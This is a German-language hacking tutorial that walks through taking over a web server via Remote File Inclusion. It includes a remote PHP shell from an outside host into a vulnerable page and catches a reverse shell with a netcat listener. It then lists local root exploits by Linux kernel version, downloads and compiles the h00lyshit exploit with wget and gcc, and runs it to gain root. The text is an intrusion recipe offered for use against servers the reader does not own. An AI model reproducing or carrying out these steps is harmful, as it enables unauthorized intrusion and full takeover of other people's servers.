r00ting über RFI


Written Tutorial by trisn


Ich gehe davon aus das ihr euch mit dem Wesen der RFI/LFI befasst
habt und diese ausführen könnt.

Code:
Was wir brauchen


- Vulnerable RFI Seite
- Eine PHP Shell wie c99,r57,r100 oder MulCiShell 2.0
- NetCat
- Local Root Exploit eingepasst für den Kernel und die Version der RootServers

Ich erkläre euch den generellen Ablauf.



Wir finden einen RFI Vulnerable Page

www.vuln.de/home/Site=http://myftp.com/c99.php


Jetzt haben wir Zugriff auf den r00t und werden und das ganze mal genauer ansehen.

Bei einer c99 findet ihr den SAFE-MOD auf der rechten Seite , wir gehen davon aus

das dieser auf OFF steht.

Wir können nun auch die Version des Kernels sehen oder durch eingeben in die Commandozeile
Code:
uname - a
Nun benutzen wir die BackConnection Funktion die wir leicht in r57 oder c99 finden (Version bedingt)

Nun Öffnen wir NetCat und gehen zu einem spezifischen Port (der Port muss offen sein ((Firewall aus)) wenn wir einen Router haben)

Wir geben 11457 als Port an , das ist der Port für die r57 Shell (Letzt erschienene Version)

Nun gehen wir in die cmd und öffnen das NetCat Verzeichniss

cd C:\Programme\NetCat zB

Wir geben folgendes ein ;
Code:
nc -n -l -p 11457
Nun baut er den Start Connect auf

In der mitte der r57 finden wir im Menü NET und Back-Connect.
Geben unsere IP ein.
Nun gehen wir auf www.cmyip.com um zusehen ob wir eine Dynamische IP haben

In die Port eingabe geben wir den Port zu dem NetCat connectet ein.

Wenn wir Connect drücken gibt uns NetCat eine Shell zum Server

Nun fangen wir ein den Server zu r00ten =)

Wir müssen ein veränderbares Root Exploit (angepasst an den Kernel und die Version finden)
Wenn nicht kriegen wir eine Fehlermeldung das wir keine Zugriffsrechte haben.

Code:
Hier Versionen + jeweiliges Exploit

2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
Wir sehen das es der 2.6.8 Linux Kernelist

Wir brauchen das h00lyshit exploit

Zu finden unter milw0rm , Security-Pass usw.

Wir können den /tmp Ordner benutzen weil er ein Standart Ordner zum beschreiben ist.

cd /tmp

Zum Download Command von Linux Kerneln benutzen wir zB wget.

Zum sehen

wget www.vuln.de/localroot/h00lyshit.c
where www.vuln.de/localroot/h00lyshit.c ist die URL

Nach dem Download müssen wir das Exploit bearbeiten so das es angepasst wird

bei h00lyshit müssen wir

gcc h00lyshit.c -o h00lyshit

eingeben

Nun haben wir das File h00lyshit erstellt

Der Command um das Exploit zu starten ist

./h00lyshit <Eine große Datei auf dem Server>

Wir müssen eine große Datei wählen um Access zum root zu bekommen

Und einen großen ordner erstellen in /tmp oder einem anderen beschreibbaren Ordner

Der Command ist

dd if=/dev/urandom of=NamedesFiles count=2m

Wir müssen 2-3 Minuten warten

Wenn der Command nicht funktioniert nehmen wir diesen


dd if=/dev/zero of=/tmp/NamedesFiles count=102400 bs=1024


Nun können wir das Exploit zum laufen bringen unter der Eingabe

./h00lyshit NamedesFiles

oder

./h00lyshit /tmp/NamedesFiles


Wenn keine Fehlermeldungen kommen haben wir nun Zugriff zum R00tServer

Um nachzusehen ;

id

oder

whoami eingeben

Wenn es root ausgibt haben wir den r00t ger00tet

Nun können wir auf die kompletten Server zugreifen

################################################## ###

Das ganze werde ich nochmal in einem V-TUT demonstrieren
nur leider hab ich mit meiner Festplatte zurzeit zu kämpfen :/

################################################## ####

Credits gehen mit zur 1nj3ct Crew - N() 1

*

trisn